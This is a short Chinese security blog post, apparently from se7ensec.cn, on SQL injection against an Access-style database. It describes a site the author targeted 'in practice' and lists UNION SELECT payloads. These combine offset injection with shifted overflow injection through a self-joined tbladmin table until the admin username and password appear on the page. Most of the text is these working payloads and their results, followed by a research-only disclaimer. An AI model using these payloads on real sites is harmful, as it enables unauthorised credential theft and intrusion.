理解一个东西,然后去发散思维思考,总会有意想不到的收获。
前言:
这个灵感是我突然冒出来的,最近有一个只能出来表名的站,一直没的机会实战,正好练习一下偏移注入和移位溢注,顺便总结一下,结果偏移注入成功了,移位溢注倒是不行了,心有不甘(我人品有这么差么?),才有了下文。
偏移注入,移位溢注的正常的手法,原理在这里就不写了,描述下站点大概情况,方便大家了解,懂得自然懂。
1 |
order by 12 - 正常 |
显示位
开始移位溢注:
当我使用移位溢注时,遇到了一点小麻烦:
2.1 先测试位置显示位6(失败):
1 |
union select 1,2,3,4,5,tbladmin.*,10,11,12 from tbladmin |
1 |
union select 1,2,3,4,5,tbladmin.*,10,11,12 from tbladmin where id=1 - 返回同上 |
2.2 然后测试显示位2和3(失败):
1 |
union select 1,tbladmin.*,6,7,8,9,10,11,12 from tbladmin - 爆出了一个用户名 |
1 |
union select 1,tbladmin.*,6,7,8,9,10,11,12 from tbladmin where id=1 - 返回内容同上 |
到了现在,可以发现问题出现了,移位溢注的招式已经用完了,但是显示位明显不够啊,还是爆不出来密码,这样看来,移位溢注还是不能完全和人品说拜拜
联合使用出奇效:
偏移注入的本质是:打乱显示顺序
移位溢注的本质是:占用多处显位
都是为了有一定概率让账号密码出现在显示位上,那么联合起来会怎么样呢?下面语句不做分析,还是懂的人自然懂
1 |
union select 1,2,3,4,a.*,b.*, * from (tbladmin as a inner join tbladmin as b on a.id=b.id) |
1 |
union select 1,2,3,4,a.*, * from (tbladmin as a inner join tbladmin as b on a.id=b.id) - 显示结果同上 |
1 |
union select 1,2,a.*,3,4, * from (tbladmin as a inner join tbladmin as b on a.id=b.id) - 发生变化 |
1 |
union select 1,a.*,2,3,4, * from (tbladmin as a inner join tbladmin as b on a.id=b.id) - 继续变化 |
1 |
union select a.*,1,2,3,4, * from (tbladmin as a inner join tbladmin as b on a.id=b.id) - 同时显示 |
完结
最后可以看到,账号密码一起显示在了网页上,通过二者的联合使用,爆出账号密码的几率想必会增加不少。
参考文章:
https://blog.csdn.net/Fly_hps/article/details/79415714
https://gh0st.cn/archives/2017-03-08/1
- source:se7ensec.cn
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论